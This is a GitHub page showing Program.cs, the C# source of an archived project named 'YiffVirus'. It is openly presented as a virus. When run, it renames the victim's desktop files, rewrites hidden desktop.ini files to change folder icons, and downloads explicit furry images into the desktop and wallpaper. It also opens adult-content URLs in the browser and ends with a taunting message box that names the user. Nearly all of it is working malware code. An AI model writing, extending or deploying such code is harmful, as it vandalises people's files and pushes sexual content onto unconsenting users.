This repository has been archived by the owner on Apr 8, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Program.cs
165 lines (144 loc) · 6.78 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace YiffVirus
{
class Program
{
private static YiffDownloader yiffDownloader = new YiffDownloader();
private static readonly string[] owoWords = { "OwO_Whats_This_", "Hewwo_", "OwO_notices_your_bulge_", "MERP_MERP_", "OwO_UwURawr_X3_" };
private static readonly Random random = new Random();
static void Main(string[] args)
{
Thread.Sleep(500);
string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
// First we change the icons of the files in folders, so its a *bit* hidden
foreach (string folder in Directory.GetDirectories(desktopPath))
{
ChangeFolderIcon(folder);
foreach (string file in Directory.GetFiles(folder))
{
if(!ChangeFileName(file))
{
continue;
}
}
}
// Then change the icons for the files that will be visible on the desktop
foreach(string file in Directory.GetFiles(desktopPath))
{
if (!ChangeFileName(file))
{
continue;
}
}
using Image img = Image.FromStream(new System.Net.WebClient().OpenRead(yiffDownloader.downloadYiff(null, false)));
string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
img.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp);
// Set the wallpaper style to stretch
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Control Panel\Desktop", true);
key.SetValue(@"WallpaperStyle", 2.ToString());
key.SetValue(@"TileWallpaper", 0.ToString());
// Set the desktop wallpaper
SystemParametersInfo(20, 0, tempPath, 0x01 | 0x02);
// Fill the desktop with MORE... MOOOOREEE!!
for(int god = 0; god <= 250; god++)
{
switch(god)
{
case 1:
// Pizza pic, by K1le
Process.Start("explorer.exe", "https://cdn.discordapp.com/attachments/882365636158836777/882383215141220423/3132693.png");
break;
case 2:
// h0rs3
Process.Start("explorer.exe", "https://e621.net/posts/2808711");
break;
case 3:
// Pache riggs
Process.Start("explorer.exe", "https://e621.net/posts/2401425");
break;
case 5:
// Sea salt
Process.Start("explorer.exe", "https://e621.net/posts/2039476");
break;
default:
break;
}
// You can probably modify this to make it a bit faster, WebExceptions happen if too fast though
Thread.Sleep(500);
new Thread(() =>
{
yiffDownloader.downloadYiff(desktopPath, false);
}).Start();
if (god == 250)
{
break;
}
}
// 64 = MB_ICONINFORMATION
// More Info: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox
MessageBox((IntPtr)0, "I worked really hard to make your desktop very *cool*\nI hope you like the art :3", $"Hewwo {Environment.UserName}!!", 64);
}
private static bool ChangeFileName(string file)
{
try
{
FileInfo fileInfo = new FileInfo(file);
if (fileInfo.Name.Contains("desktop") || fileInfo.Extension.Contains("ico") || fileInfo.Extension.Contains("ini"))
{
// Skip these, if we rename them, the folder will loose its very cool icon!
return false;
}
string newFile = file.Replace(fileInfo.Name, owoWords[random.Next(owoWords.Length)] + RandomString() + fileInfo.Extension);
File.Move(file, newFile);
Console.WriteLine($"[FILE] Changed name: {fileInfo.Name} -> {new FileInfo(newFile).Name}");
return true;
} catch(Exception)
{
return false;
}
}
private static void ChangeFolderIcon(string folder)
{
string newIconName = yiffDownloader.downloadYiff(folder, true);
string iniFilePath = folder + @"\desktop.ini";
string newFolderIcon = $"{folder}\\{newIconName}.ico";
WritePrivateProfileString(".ShellClassInfo", "IconFile", newFolderIcon, iniFilePath);
WritePrivateProfileString(".ShellClassInfo", "IconIndex", "0", iniFilePath);
WritePrivateProfileString(".ShellClassInfo", "IconResource", $"{newFolderIcon},0", iniFilePath);
// ------------------
WritePrivateProfileString("ViewState", "Mode", "", iniFilePath);
WritePrivateProfileString("ViewState", "Vid", "", iniFilePath);
WritePrivateProfileString("ViewState", "FolderType", "Pictures", iniFilePath);
File.SetAttributes(iniFilePath, FileAttributes.System | FileAttributes.Archive | FileAttributes.Hidden);
Console.WriteLine($"[FOLDER] Changed icon: {folder}.");
}
private static string RandomString()
{
var builder = new StringBuilder(6);
char offset = 'a';
const int lettersOffset = 26;
for (var i = 0; i < 6; i++)
{
var @char = (char)random.Next(offset, offset + lettersOffset);
builder.Append(@char);
}
return builder.ToString();
}
[DllImport("User32.dll", CharSet = CharSet.Unicode)]
public static extern int MessageBox(IntPtr h, string message, string title, int type);
[DllImport("User32.dll", CharSet = CharSet.Auto)]
static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
[DllImport("KERNEL32.DLL", EntryPoint = "WritePrivateProfileStringW",
SetLastError = true,
CharSet = CharSet.Unicode, ExactSpelling = true,
CallingConvention = CallingConvention.StdCall)]
private static extern int WritePrivateProfileString(string lpAppName, string lpKeyName, string lpString, string lpFilename);
}
}